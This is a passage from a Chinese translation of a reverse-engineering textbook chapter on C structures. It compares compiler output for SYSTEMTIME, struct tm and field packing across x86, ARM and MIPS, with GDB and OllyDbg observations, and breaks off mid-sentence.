esi 指针指向的对应空间里,接下来几个寄存器依次读取这 些返回值并将之依次推送入栈、给 printf()函数调用。 此处的“MOVZX(Move with Zero eXtent)”是前文没有介绍过的指令。这个指令的作用和 MOVSX(参 见第 14 章)的相似。与 MOVSX 的不同之处是,MOVZX 在进行格式转换的时候会将其他 bit 位清零。因 为 printf()函数需要的数据类型是 32 位整型数据,而我们的结构体 SYSTEMTIME 里对应的字段是 WORD 型数据,所以此处要转换数据类型。WORD 型数据是 16 位无符号数据,因而要把 WORD 型数据照抄到 int 型数据空间的低地址位,并把高地址位(第 16 位到第 31 位)清零。高地址位必须要清零,否则转换的 int 型数据很可能会受到脏数据问题的不良影响。 本例中,我们可以使用 8 个 WORD 型数组重新构造上述结构体: #include <windows.h> #include <stdio.h> void main() { WORD *t; t=(WORD *)malloc (16); GetSystemTime (t); printf ("%04d-%02d-%02d %02d:%02d:%02d\n", t[0] /* wYear */, t[1] /* wMonth */, t[3] /* wDay */, t[4] /* wHour */, t[5] /* wMinute */, t[6] /* wSecond */); free (t); return; }; 使用 MSVC(启用优化选项)编译上述程序,可得到如下所示的代码。 指令清单 21.5 Optimizing MSVC $SG78594 DB '%04d-%02d-%02d %02d:%02d:%02d’, 0aH, 00H _main PROC push esi push 16 call _malloc add esp, 4 mov esi, eax push esi call DWORD PTR __imp__GetSystemTime@4 movzx eax, WORD PTR [esi+12] movzx ecx, WORD PTR [esi+10] movzx edx, WORD PTR [esi+8] push eax movzx eax, WORD PTR [esi+6] push ecx movzx ecx, WORD PTR [esi+2] push edx movzx edx, WORD PTR [esi] push eax push ecx 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 21 章 结 构 体 315 push edx push OFFSET $SG78594 call _printf push esi call _free add esp, 32 xor eax, eax pop esi ret 0 _main ENDP 这个代码和结构体生成的代码完全相同。我再次强调,这种“用数组替代结构体”的做法没有什么实 际意义。除非有必要,否则不必做这种替换。 21.3 UNIX: struct tm 21.3.1 Linux 我们研究一下 Linux 源文件 time.h 里的 tm 结构体。 #include <stdio.h> #include <time.h> void main() { struct tm t; time_t unix_time; unix_time=time(NULL); localtime_r (&unix_time, &t); printf ("Year: %d\n", t.tm_year+1900); printf ("Month: %d\n", t.tm_mon); printf ("Day: %d\n", t.tm_mday); printf ("Hour: %d\n", t.tm_hour); printf ("Minutes: %d\n", t.tm_min); printf ("Seconds: %d\n", t.tm_sec); }; 使用 GCC 4.4.1 编译,可得如下所示的代码。 指令清单 21.6 GCC 4.4.1 main proc near push ebp mov ebp, esp and esp, 0FFFFFFF0h sub esp, 40h mov dword ptr [esp], 0 ; first argument for time() call time mov [esp+3Ch], eax lea eax, [esp+3Ch] ; take pointer to what time() returned lea edx, [esp+10h] ; at ESP+10h struct tm will begin mov [esp+4], edx ; pass pointer to the structure begin mov [esp], eax ; pass pointer to result of time() call localtime_r mov eax, [esp+24h] ; tm_year lea edx, [eax+76Ch] ; edx=eax+1900 mov eax, offset format ; "Year: %d\n" mov [esp+4], edx mov [esp], eax call printf 异步社区会员 dearfuture(15918834820) 专享 尊重版权 316 逆向工程权威指南(上册) mov edx, [esp+20h] ; tm_mon mov eax, offset aMonthD ; "Month: %d\n" mov [esp+4], edx mov [esp], eax call printf mov edx, [esp+1Ch] ; tm_mday mov eax, offset aDayD ; "Day: %d\n" mov [esp+4], edx mov [esp], eax call printf mov edx, [esp+18h] ; tm_hour mov eax, offset aHourD ; "Hour: %d\n" mov [esp+4], edx mov [esp], eax call printf mov edx, [esp+14h] ; tm_min mov eax, offset aMinutesD ; "Minutes: %d\n" mov [esp+4], edx mov [esp], eax call printf mov edx, [esp+10h] mov eax, offset aSecondsD ; "Seconds: %d\n" mov [esp+4], edx ; tm_sec mov [esp], eax call printf leave retn main endp 可惜的是 IDA 未能在局部栈里将这些局部变量逐一识别出来,因此未能标记变量的别名。但是读到这 里的读者都是有经验的逆向工程分析人员了,不再需要辅助信息仍然可以分析出数据的作用。 需要注意的是“lea edx, [eax+76Ch]”指令。它给 EAX 寄存器里的值加上 0x76C(1900),而不会修改 任何标志位。有关 LEA 指令的更多信息,请参见附录 A.6.2。 GDB 我们使用GDB调试这个程序,可得到如下所示的代码。 ① ① 为了便于演示,作者略微调整了 date 的返回结果。在实际情况下,手动输入 GDB 指令的速度不会那么快,多次操作的返回 结果不可能分毫不差。 指令清单 21.7 GDB dennis@ubuntuvm:~/polygon$ date Mon Jun 2 18:10:37 EEST 2014 dennis@ubuntuvm:~/polygon$ gcc GCC_tm.c -o GCC_tm dennis@ubuntuvm:~/polygon$ gdb GCC_tm GNU gdb (GDB) 7.6.1-ubuntu Copyright (C) 2013 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying"and "show warranty" for details. This GDB was configured as "i686-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /home/dennis/polygon/GCC_tm...(no debugging symbols found)...done. (gdb) b printf Breakpoint 1 at 0x8048330 (gdb) run Starting program: /home/dennis/polygon/GCC_tm Breakpoint 1, __printf (format=0x80485c0 "Year: %d\n") at printf.c:29 29 printf.c: No such file or directory. (gdb) x/20x $esp 0xbffff0dc: 0x080484c3 0x080485c0 0x000007de 0x00000000 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 21 章 结 构 体 317 0xbffff0ec: 0x08048301 0x538c93ed 0x00000025 0x0000000a 0xbffff0fc: 0x00000012 0x00000002 0x00000005 0x00000072 0xbffff10c: 0x00000001 0x00000098 0x00000001 0x00002a30 0xbffff11c: 0x0804b090 0x08048530 0x00000000 0x00000000 (gdb) 在数据栈中,结构体的构造非常清晰。首先我们看看 time.h 里的定义。 指令清单 21.8 time.h struct tm { int tm_sec; int tm_min; int tm_hour; int tm_mday; int tm_mon; int tm_year; int tm_wday; int tm_yday; int tm_isdst; }; Linux 的 tm 结构体的每个元素都是 int 型数据。在数据类型上它就和 Windows 的 SYSTEMTIME 结构 体采用的 WORD 型数据不同。 我们继续分析局部栈的情况: 0xbffff0dc: 0x080484c3 0x080485c0 0x000007de 0x00000000 0xbffff0ec: 0x08048301 0x538c93ed 0x00000025 秒 0x0000000a 分 0xbffff0fc: 0x00000012 时 0x00000002 mday 0x00000005 月 0x00000072 年 0xbffff10c: 0x00000001 wday 0x00000098 yday 0x00000001 isdst 0x00002a30 0xbffff11c: 0x0804b090 0x08048530 0x00000000 0x00000000 整理一下,结果如下表所示。 十六进制数 十进制 字段 0x00000025 37 tm_sec 0x0000000a 10 tm_min 0x00000012 18 tm_hour 0x00000002 2 tm_mday 0x00000005 5 tm_mon 0x00000072 114 tm_year 0x00000001 1 tm_wday 0x00000098 152 tm_yday 0x00000001 1 tm_isdst 这个结构体比SYSTEMTIME 多了一些字段,例如tm_wday/ tm_yday/ tm_isdst 字段,不过本例用不到这些字段。 21.3.2 ARM Optimizing Keil 6/2013 (Thumb mode) 使用 Keil 6(启用优化选项)编译上述结构体程序,可得到 Thumb 模式的程序如下所示。 指令清单 21.9 Optimizing Keil 6/2013 (Thumb mode) var_38 = -0x38 var_34 = -0x34 var_30 = -0x30 var_2C = -0x2C 异步社区会员 dearfuture(15918834820) 专享 尊重版权 318 逆向工程权威指南(上册) var_28 = -0x28 var_24 = -0x24 timer = -0xC PUSH {LR} MOVS R0, #0 ; timer SUB SP, SP, #0x34 BL time STR R0, [SP,#0x38+timer] MOV R1, SP ; tp ADD R0, SP, #0x38+timer ; timer BL localtime_r LDR R1, =0x76C LDR R0, [SP,#0x38+var_24] ADDS R1, R0, R1 ADR R0, aYearD ; "Year: %d\n" BL __2printf LDR R1, [SP,#0x38+var_28] ADR R0, aMonthD ; "Month: %d\n" BL __2printf LDR R1, [SP,#0x38+var_2C] ADR R0, aDayD ; "Day: %d\n" BL __2printf LDR R1, [SP,#0x38+var_30] ADR R0, aHourD ; "Hour: %d\n" BL __2printf LDR R1, [SP,#0x38+var_34] ADR R0, aMinutesD ; "Minutes: %d\n" BL __2printf LDR R1, [SP,#0x38+var_38] ADR R0, aSecondsD ; "Seconds: %d\n" BL __2printf ADD SP, SP, #0x34 POP {PC} Optimizing Xcode 4.6.3 (LLVM) (Thumb-2 mode) 通过分析被调用方函数的函数名称(例如本例的 localtime_r()函数),IDA 能够“识别”出返回值为结 构体型数据,并能给结构体中的字段重新标注名称。 指令清单 21.10 Optimizing Xcode 4.6.3 (LLVM) (Thumb-2 mode) var_38 = -0x38 var_34 = -0x34 PUSH {R7,LR} MOV R7, SP SUB SP, SP, #0x30 MOVS R0, #0 ; time_t * BLX _time ADD R1, SP, #0x38+var_34 ; struct tm * STR R0, [SP,#0x38+var_38] MOV R0, SP ; time_t * BLX _localtime_r LDR R1, [SP,#0x38+var_34.tm_year] MOV R0, 0xF44 ; "Year: %d\n" ADD R0, PC ; char * ADDW R1, R1, #0x76C BLX _printf LDR R1, [SP,#0x38+var_34.tm_mon] MOV R0, 0xF3A ; "Month: %d\n" ADD R0, PC ; char * BLX _printf 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 21 章 结 构 体 319 LDR R1, [SP,#0x38+var_34.tm_mday] MOV R0, 0xF35 ; "Day: %d\n" ADD R0, PC ; char * BLX _printf LDR R1, [SP,#0x38+var_34.tm_hour] MOV R0, 0xF2E ; "Hour: %d\n" ADD R0, PC ; char * BLX _printf LDR R1, [SP,#0x38+var_34.tm_min] MOV R0, 0xF28 ; "Minutes: %d\n" ADD R0, PC ; char * BLX _printf LDR R1, [SP,#0x38+var_34] MOV R0, 0xF25 ; "Seconds: %d\n" ADD R0, PC ; char * BLX _printf ADD SP, SP, #0x30 POP {R7,PC} ...... 00000000 tm struc ; (sizeof=0x2C, standard type) 00000000 tm_sec DCD ? 00000004 tm_min DCD ? 00000008 tm_hour DCD ? 0000000C tm_mday DCD ? 00000010 tm_mon DCD ? 00000014 tm_year DCD ? 00000018 tm_wday DCD ? 0000001C tm_yday DCD ? 00000020 tm_isdst DCD ? 00000024 tm_gmtoff DCD ? 00000028 tm_zone DCD ? ; offset 0000002C tm ends 21.3.3 MIPS 指令清单 21.11 Optimizing GCC 4.4.5 (IDA) 1 main: 2 3 ; IDA is not aware of structure field names, we named them manually: 4 5 var_40 = -0x40 6 var_38 = -0x38 7 seconds = -0x34 8 minutes = -0x30 9 hour = -0x2C 10 day = -0x28 11 month = -0x24 12 year = -0x20 13 var_4 = -4 14 15 lui $gp, (__gnu_local_gp >> 16) 16 addiu $sp, -0x50 17 la $gp, (__gnu_local_gp & 0xFFFF) 18 sw $ra, 0x50+var_4($sp) 19 sw $gp, 0x50+var_40($sp) 20 lw $t9, (time & 0xFFFF)($gp) 21 or $at, $zero ; load delay slot, NOP 22 jalr $t9 23 move $a0, $zero ; branch delay slot, NOP 24 lw $gp, 0x50+var_40($sp) 25 addiu $a0, $sp, 0x50+var_38 26 lw $t9, (localtime_r & 0xFFFF)($gp) 异步社区会员 dearfuture(15918834820) 专享 尊重版权 320 逆向工程权威指南(上册) 27 addiu $a1, $sp, 0x50+seconds 28 jalr $t9 29 sw $v0, 0x50+var_38($sp) ; branch delay slot 30 lw $gp, 0x50+var_40($sp) 31 lw $a1, 0x50+year($sp) 32 lw $t9, (printf & 0xFFFF)($gp) 33 la $a0, $LC0 # "Year: %d\n" 34 jalr $t9 35 addiu $a1, 1900 ; branch delay slot 36 lw $gp, 0x50+var_40($sp) 37 lw $a1, 0x50+month($sp) 38 lw $t9, (printf & 0xFFFF)($gp) 39 lui $a0, ($LC1 >> 16) # "Month: %d\n" 40 jalr $t9 41 la $a0, ($LC1 & 0xFFFF) # "Month: %d\n" ; branch delay slot 42 lw $gp, 0x50+var_40($sp) 43 lw $a1, 0x50+day($sp) 44 lw $t9, (printf & 0xFFFF)($gp) 45 lui $a0, ($LC2 >> 16) # "Day: %d\n" 46 jalr $t9 47 la $a0, ($LC2 & 0xFFFF) # "Day: %d\n" ; branch delay slot 48 lw $gp, 0x50+var_40($sp) 49 lw $a1, 0x50+hour($sp) 50 lw $t9, (printf & 0xFFFF)($gp) 51 lui $a0, ($LC3 >> 16) # "Hour: %d\n" 52 jalr $t9 53 la $a0, ($LC3 & 0xFFFF) # "Hour: %d\n" ; branch delay slot 54 lw $gp, 0x50+var_40($sp) 55 lw $a1, 0x50+minutes($sp) 56 lw $t9, (printf & 0xFFFF)($gp) 57 lui $a0, ($LC4 >> 16) # "Minutes: %d\n" 58 jalr $t9 59 la $a0, ($LC4 & 0xFFFF) # "Minutes: %d\n" ; branch delay slot 60 lw $gp, 0x50+var_40($sp) 61 lw $a1, 0x50+seconds($sp) 62 lw $t9, (printf & 0xFFFF)($gp) 63 lui $a0, ($LC5 >> 16) # "Seconds: %d\n" 64 jalr $t9 65 la $a0, ($LC5 & 0xFFFF) # "Seconds: %d\n" ; branch delay slot 66 lw $ra, 0x50+var_4($sp) 67 or $at, $zero ; load delay slot, NOP 68 jr $ra 69 addiu $sp, 0x50 70 71 $LC0: .ascii "Year: %d\n"<0> 72 $LC1: .ascii "Month: %d\n"<0> 73 $LC2: .ascii "Day: %d\n"<0> 74 $LC3: .ascii "Hour: %d\n"<0> 75 $LC4: .ascii "Minutes: %d\n"<0> 76 $LC5: .ascii "Seconds: %d\n"<0> 这个案例再次演示了延时槽影响人工分析的严重程度。例如,位于第 35 行的“addiu $a1, 1900”指令, 把返回值加上 1900。千万别忘记它的执行顺序先于第 34 行的 JALR 指令。 21.3.4 数组替代法 在内存中,结构体是依次排列的一系列数据。为了演示它的这一特色,我们对指令清单 21.8 的程序进 行少许修改,以使用数组替代 tm 结构体: #include <stdio.h> #include <time.h> void main() { int tm_sec, tm_min, tm_hour, tm_mday, tm_mon, tm_year, tm_wday, tm_yday, tm_isdst; time_t unix_time; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 21 章 结 构 体 321 unix_time=time(NULL); localtime_r (&unix_time, &tm_sec); printf ("Year: %d\n", tm_year+1900); printf ("Month: %d\n", tm_mon); printf ("Day: %d\n", tm_mday); printf ("Hour: %d\n", tm_hour); printf ("Minutes: %d\n", tm_min); printf ("Seconds: %d\n", tm_sec); }; 注解:指向结构体的指针,实际上指向结构体的第一个元素。 使用 GCC 4.7.3 编译的时候,会看到编译器提示如下所示。 指令清单 21.12 GCC 4.7.3 GCC_tm2.c: In function ’main’: GCC_tm2.c:11:5: warning: passing argument 2 of ’localtime_r’ from incompatible pointer type [ enabled by default] In file included from GCC_tm2.c:2:0: /usr/include/time.h:59:12: note: expected ’struct tm *’ but argument is of type ’int *’ 不过这些问题不影响正常编译,所得可执行程序的具体指令如下所示。 指令清单 21.13 GCC 4.7.3 main proc near var_30 = dword ptr -30h var_2C = dword ptr -2Ch unix_time = dword ptr -1Ch tm_sec = dword ptr -18h tm_min = dword ptr -14h tm_hour = dword ptr -10h tm_mday = dword ptr -0Ch tm_mon = dword ptr -8 tm_year = dword ptr -4 push ebp mov ebp, esp and esp, 0FFFFFFF0h sub esp, 30h call __main mov [esp+30h+var_30], 0 ; arg 0 call time mov [esp+30h+unix_time], eax lea eax, [esp+30h+tm_sec] mov [esp+30h+var_2C], eax lea eax, [esp+30h+unix_time] mov [esp+30h+var_30], eax call localtime_r mov eax, [esp+30h+tm_year] add eax, 1900 mov [esp+30h+var_2C], eax mov [esp+30h+var_30], offset aYearD ; "Year: %d\n" call printf mov eax, [esp+30h+tm_mon] mov [esp+30h+var_2C], eax mov [esp+30h+var_30], offset aMonthD ; "Month: %d\n" call printf mov eax, [esp+30h+tm_mday] mov [esp+30h+var_2C], eax mov [esp+30h+var_30], offset aDayD ; "Day: %d\n" call printf mov eax, [esp+30h+tm_hour] 异步社区会员 dearfuture(15918834820) 专享 尊重版权 322 逆向工程权威指南(上册) mov [esp+30h+var_2C], eax mov [esp+30h+var_30], offset aHourD ; "Hour: %d\n" call printf mov eax, [esp+30h+tm_min] mov [esp+30h+var_2C], eax mov [esp+30h+var_30], offset aMinutesD ; "Minutes: %d\n" call printf mov eax, [esp+30h+tm_sec] mov [esp+30h+var_2C], eax mov [esp+30h+var_30], offset aSecondsD ; "Seconds: %d\n" call printf leave retn main endp 从汇编代码上看,采用数组的程序与先前使用结构体的程序最终竟会如此一致,以至于我们无法从汇 编代码上区分出源程序的区别。 虽然上述程序可以照常运行,但是使用数组替换结构体的做法并不值得推荐。一般来说,“不启用优化 编译选项”的编译器通常以代码声明变量的次序,在局部栈里分配变量的空间,但是无法保证每次编译的 结果都严丝合缝。 如果使用 GCC 以外的编译器的话,部分编译器可能警告除变量 tm_sec 之外的 tm_year、tm_mon、tm_mday、 tm_hour、tm_min 没有被初始化。这是因为编译器并不能分析出这些变量将被 localtime_r()函数赋值。 在这个程序里,结构体各字段都是 int 型数据,所以本例十分直观。如果源程序中结构体的字段都是 16 位 WORD 型数据,且采取了 SYSTEMTIME 那样的数据结构,因为局部变量向 32 位边界对齐的缘故,这 将使 GetSystemTime()无法正常赋值。有关结构体的字段封装问题,请参考 21.4 节。 由此可见,结构体就是一连串变量的封装体。在内存中结构体的各字段依次排列。我认为结构体就是 语体上的糖块,使其内各个变量像糖分一样粘成一个统一体,以便编译器把它们分配到连续空间里。即使 别人可能认为我是编程专家,但是我毕竟不是,所以这种说法很可能不够确切。顺便提一下,早期的(1972 年之前)C语言不支持结构体structure。 ① 21.3.5 替换为 32 位 words 这个可执行程序完全和前面的程序一样,本书就不演示相关调试过程了。 #include <stdio.h> #include <time.h> void main() { struct tm t; time_t unix_time; int i; unix_time=time(NULL); localtime_r (&unix_time, &t); for (i=0; i<9; i++) { int tmp=((int*)&t)[i]; printf ("0x%08X (%d)\n", tmp, tmp); }; }; ① 请参见 Dennis M. Ritchie 撰写的<< The development of the c language>>,“SIGPLAN Not”的第 28 章第 3 节:201-208 页,您 也可以在作者的网站下载:http://yurichev.com/mirrors/C/dmr-The%20Development%20of%20the%20C%20Language-1993.pdf.。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 21 章 结 构 体 323 上述程序把同一地址(指针)的数据分别当作结构体和整型数据、分别进行写和读的访问操作,完全可 以正常工作。在当前时间为“23:51:45 26-July-2014”的时刻,内存中的数据如下: 0x0000002D (45) 0x00000033 (51) 0x00000017 (23) 0x0000001A (26) 0x00000006 (6) 0x00000072 (114) 0x00000006 (6) 0x000000CE (206) 0x00000001 (1) 这些变量的排列数据,与结构体在源代码中的声明顺序相同。详细内容请参见本书第 21 章第 8 节。 编译而得的程序如下所示。 指令清单 21.14 Optimizing GCC 4.8.1 main proc near push ebp mov ebp, esp push esi push ebx and esp, 0FFFFFFF0h sub esp, 40h mov dword ptr [esp], 0 ; timer lea ebx, [esp+14h] call _time lea esi, [esp+38h] ;tp mov [esp+4], ebx mov [esp+10h], eax lea eax, [esp+10h] mov [esp], eax ; timer call _localtime_r nop lea esi, [esi+0] ; nop loc_80483D8: ; EBX here is pointer to structure, ESI is the pointer to the end of it. mov eax, [ebx] ; get 32-bit word from array add ebx, 4 ; next field in structure mov dword ptr [esp+4], offset a0x08xD ; "0x%08X (%d)\n" mov dword ptr [esp], 1 mov [esp+0Ch], eax ; pass value to printf() mov [esp+8], eax ; pass value to printf() call ___printf_chk cmp ebx, esi ; meet structure end? jnz short loc_80483D8 ; no - load next value then lea esp, [ebp-8] pop ebx pop esi pop ebp retn main endp 栈空间内的数据依次被看作两种数据:先被当作结构体、再被当作数组。 本例表明,我们可以借助指针修改结构体中的各别字段。 本文再次强调:若不是以 hack 目的研究代码,就不必做这种处理。在编写生产环境下的程序时,不建 议使用这种处理手段。 21.3.6 替换为字节型数组 更进一步的实验表明,也可以让时间结构体与字节型数组共用一个指针。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 324 逆向工程权威指南(上册) #include <stdio.h> #include <time.h> void main() { struct tm t; time_t unix_time; int i, j; unix_time=time(NULL); localtime_r (&unix_time, &t); for (i=0; i<9; i++) { for (j=0; j<4; j++) printf ("0x%02X ", ((unsigned char*)&t)[i*4+j]); printf ("\n"); }; }; 0x2D 0x00 0x00 0x00 0x33 0x00 0x00 0x00 0x17 0x00 0x00 0x00 0x1A 0x00 0x00 0x00 0x06 0x00 0x00 0x00 0x72 0x00 0x00 0x00 0x06 0x00 0x00 0x00 0xCE 0x00 0x00 0x00 0x01 0x00 0x00 0x00 假如此时的系统时间和 21.3.5 节那个程序同时启动,它肯定会提示“23:51:45 26-July-2014”。需要注 意的是,因为采用了小端字节序(参见第 31 章),数权较小的字节反而排在数权较大的字节之前。 指令清单 21.15 Optimizing GCC 4.8.1 main proc near push ebp mov ebp, esp push edi push esi push ebx and esp, 0FFFFFFF0h sub esp, 40h mov dword ptr [esp], 0 ; timer lea esi, [esp+14h] call _time lea edi, [esp+38h] ; struct end mov [esp+4], esi ; tp mov [esp+10h], eax lea eax, [esp+10h] mov [esp], eax ; timer call _localtime_r lea esi, [esi+0] ; NOP ; ESI here is the pointer to structure in local stack. EDI is the pointer to structure end. loc_8048408: xor ebx, ebx ; j=0 loc_804840A: movzx eax, byte ptr [esi+ebx] ; load byte add ebx, 1 ; j=j+1 mov dword ptr [esp+4], offset a0x02x ; "0x%02X " mov dword ptr [esp], 1 mov [esp+8], eax ; pass loaded byte to printf() call ___printf_chk cmp ebx, 4 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 21 章 结 构 体 325 jnz short loc_804840A ; print carriage return character (CR) mov dword ptr [esp], 0Ah ; c add esi, 4 call _putchar cmp esi, edi ; meet struct end? jnz short loc_8048408 ; j=0 lea esp, [ebp-0Ch] pop ebx pop esi pop edi pop ebp retn main endp 21.4 结构体的字段封装 结构体的字段封装方法构成了这种数据类型的一个重要特性。 ① 21.4.1 x86 我们以下面的例子来加以说明。 #include <stdio.h> struct s { char a; int b; char c; int d; }; void f(struct s s) { printf ("a=%d; b=%d; c=%d; d=%d\n", s.a, s.b, s.c, s.d); }; int main() { struct s tmp; tmp.a=1; tmp.b=2; tmp.c=3; tmp.d=4; f(tmp); }; 其中有 2 个单字节型 char 字段和 2 个 4 字节的 int 型变量。 使用 MSVC 2012(启用选项/GS- /Ob0)编译,可得如下所示的代码。 指令清单 21.16 MSVC 2012/GS-/O60 1 _tmp$ = -16 2 _main PROC 3 push ebp 4 mov ebp, esp 5 sub esp, 16 6 mov BYTE PTR _tmp$[ebp], 1 ; set field a 7 mov DWORD PTR _tmp$[ebp+4], 2 ; set field b 8 mov BYTE PTR _tmp$[ebp+8], 3 ; set field c 9 mov DWORD PTR _tmp$[ebp+12], 4 ; set field d 10 sub esp, 16 ; allocate place for temporary structure 11 mov eax, esp ① 更多内容请参见 https://en.wikipedia.org/wiki/Data_structure_alignment。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 326 逆向工程权威指南(上册) 12 mov ecx, DWORD PTR _tmp$[ebp] ; copy our structure to the temporary one 13 mov DWORD PTR [eax], ecx 14 mov edx, DWORD PTR _tmp$[ebp+4] 15 mov DWORD PTR [eax+4], edx 16 mov ecx, DWORD PTR _tmp$[ebp+8] 17 mov DWORD PTR [eax+8], ecx 18 mov edx, DWORD PTR _tmp$[ebp+12] 19 mov DWORD PTR [eax+12], edx 20 call _f 21 add esp, 16 22 xor eax, eax 23 mov esp, ebp 24 pop ebp 25 ret 0 26 _main ENDP 27 28 _s$ = 8 ; size = 16 29 ?f@@YAXUs@@@Z PROC ; f 30 push ebp 31 mov ebp, esp 32 mov eax, DWORD PTR _s$[ebp+12] 33 push eax 34 movsx ecx, BYTE PTR _s$[ebp+8] 35 push ecx 36 mov edx, DWORD PTR _s$[ebp+4] 37 push edx 38 movsx eax, BYTE PTR _s$[ebp] 39 push eax 40 push OFFSET $SG3842 41 call _printf 42 add esp, 20 43 pop ebp 44 ret 0 45 ?f@@YAXUs@@@Z ENDP ; f 46 _TEXT ENDS 虽然我们在代码里一次性分配了结构体 tmp,并依次给它的四个字段赋值,但是可执行程序的指令有些不同: 它将结构体的指针复制到临时地址(第 10 行指令分配的空间里),然后通过临时的中间变量把结构体的四个值赋 值给临时结构体(第 12~19 行的指令),还把指针也复制出来供 f()调用。这主要是因为编译器无法判断 f()函数是 否会修改结构体的内容。借助中间变量,编译器可以保证 main()函数里 tmp 结构体的值不受被调用方函数的影响。 我们也可以改动源程序、使用指针传递数据,那样编译器生成的汇编指令也基本相同,但是不会再复制数据了。 另外,这个程序里结构体的字段向 4 字节边界对齐。也就是说它的 char 型数据也和 int 型数据一样占 4 字节存储空间。这主要是为了方便 CPU 从内存读取数据,提高读写和缓存的效率。 这样做的缺点是浪费存储空间。 接下来我们启用编译器的/Zp1 (/Zp[n]表示向 n 个字节的边界对齐)选项。 使用 MSVC 2012(启用/GS- /Zp1 选项)编译上述程序,可得到如下所示的代码。 指令清单 21.17 MSVC 2012 /GS- /Zp1 1 _main PROC 2 push ebp 3 mov ebp, esp 4 sub esp, 12 5 mov BYTE PTR _tmp$[ebp], 1 ; set field a 6 mov DWORD PTR _tmp$[ebp+1], 2 ; set field b 7 mov BYTE PTR _tmp$[ebp+5], 3 ; set field c 8 mov DWORD PTR _tmp$[ebp+6], 4 ; set field d 9 sub esp, 12 ; allocate place for temporary structure 10 mov eax, esp 11 mov ecx, DWORD PTR _tmp$[ebp] ; copy 10 bytes 12 mov DWORD PTR [eax], ecx 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 21 章 结 构 体 327 13 mov edx, DWORD PTR _tmp$[ebp+4] 14 mov DWORD PTR [eax+4], edx 15 mov cx, WORD PTR _tmp$[ebp+8] 16 mov WORD PTR [eax+8], cx 17 call _f 18 add esp, 12 19 xor eax, eax 20 mov esp, ebp 21 pop ebp 22 ret 0 23 _main ENDP 24 25 _TEXT SEGMENT 26 _s$ = 8 ; size = 10 27 ?f@@YAXUs@@@Z PROC ; f 28 push ebp 29 mov ebp, esp 30 mov eax, DWORD PTR _s$[ebp+6] 31 push eax 32 movsx ecx, BYTE PTR _s$[ebp+5] 33 push ecx 34 mov edx, DWORD PTR _s$[ebp+1] 35 push edx 36 movsx eax, BYTE PTR _s$[ebp] 37 push eax 38 push OFFSET $SG3842 39 call _printf 40 add esp, 20 41 pop ebp 42 ret 0 43 ?f@@YAXUs@@@Z ENDP ; f 经过这种处理之后,结构体只占用 10 字节空间,其中的 char 型数据占用 1 字节。这将提高代码的空 间利用效率,不过这样做会同时降低 CPU 的 IO 读取效率。 main()函数里同样使用临时结构体复制了传入参数的信息,再把临时结构体传递给其他函数。不过这 10 字 节数据并不是一个字段一个字段地、按变量声明的那样分 4 次复制过去的,编译器分配 3 对 MOV 指令复制它 们。为什么不是 4 对赋值指令?这是因为编译器认为,在复制 10 字节数据时,3 个 MOV 指令对的效率,比 4 对 MOV 指令对(按字段赋值)的效率要高。这是编译器常用的优化手段。编译器使用 MOV 指令直接实现(替 代)memcpy()函数的情况十分普遍,主要就是因为在复制小型数据时 memcpy()函数没有 MOV 指令的效率高。 如需了解这方面详细知识,请参见本书 43.1.5 节。 当然,如果某个结构体被多个源文件、目标文件(object files)调用,那么在编译这些程序时,结构封 装格式和数据对其规范(/Zp[n])必须完全匹配。 MSVC编译器有指定结构体字段对齐标准的/Zp选项。此外,还可以通过在源文件里设定#pragma pack 的方法来指定这个选项。MSVC和GCC都支持这种代码级的宏指令。 ① ① 请参阅https://msdn.microsoft.com/en-us/library/ms253935.aspx 和https://gcc.gnu.org/onlinedocs/gcc/Structure-Packing-Pragmas.html。 我们回顾一下使用16 位型数据的结构体SYSTEMTIME。编译器如何知道要将它的字段向1 字节边界对齐呢? 文件 WinNT.h 有如下声明。 指令清单 21.18 WinNT.h #include "pshpack1.h" 而且还有下述声明。 指令清单 21.19 WinNT.h #include "pshpack4.h"//默认情况下进行 4 字节边界对齐 异步社区会员 dearfuture(15918834820) 专享 尊重版权 328 逆向工程权威指南(上册) PshPack1.h 文件有下列内容。 指令清单 21.20 PshPack1.h #if ! (defined(lint) || defined(RC_INVOKED)) #if ( _MSC_VER >= 800 && !defined(_M_I86)) || defined(_PUSHPOP_SUPPORTED) #pragma warning(disable:4103) #if !(defined( MIDL_PASS )) || defined( __midl ) #pragma pack(push,1) #else #pragma pack(1) #endif #else #pragma pack(1) #endif #endif /* ! (defined(lint) || defined(RC_INVOKED)) */ 根据#pragma pack 的信息,编译器会在封装结构体时向相应的边界对齐。 OllyDbg + 默认封装格式 现在打开 OllyDbg,加载上述以默认封装格式(4 字节边界对齐)的程序,如图 21.3 所示。 图 21.3 OllyDbg:调用 printf()函数之前 我们在数据窗口可以找到四个字段的值。但是,第一个字段(变量 a)和第三个字段(变量 c)空间之 后的数据工具出现了随机值(0x30,0x37, 0x01)。它们是怎么产生的?在指令清单 21.16 的源程序中,变量 a 和变量 c 都是 char 型单字节数据。程序的第 6、第 8 行,分别给它们赋值 1、3。它们在内存里占用了 4 个 字节,而其他 32 位存储空间里有 3 个字节并没有被赋值!在这 3 个字节空间里的数据,就是随机脏数据。 因为在给 printf()函数传递参数时,编译器会使用的是单字节数据赋值指令 MOVSX(参见指令清单 21.16 的第 34 行和第 38 行)传递数据,所以这些脏数据并不会影响 printf()函数的输出结果。 另外,因为a 和c 是char 型数据,char 型数据属于有符号(signed)型数据,所以复制操作所对应的汇编指令是 MOVSX(SX 是sign-extending 的缩写)。如果它们是unsigned char 或uint8_t 型数据,那么此处就会是MOVZX 指令。 OllyDbg + 字段向单字节边界对齐 这种情况下,整个结构体的各个变量在内存里依次排列,如图 21.4 所示。 图 21.4 OllyDbg:在调用 printf()函数之前 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 21 章 结 构 体 329 21.4.2 ARM Optimizing Keil 6/2013 (Thumb mode) 使用 Keil 6/2013(开启优化选项)、以 Thumb 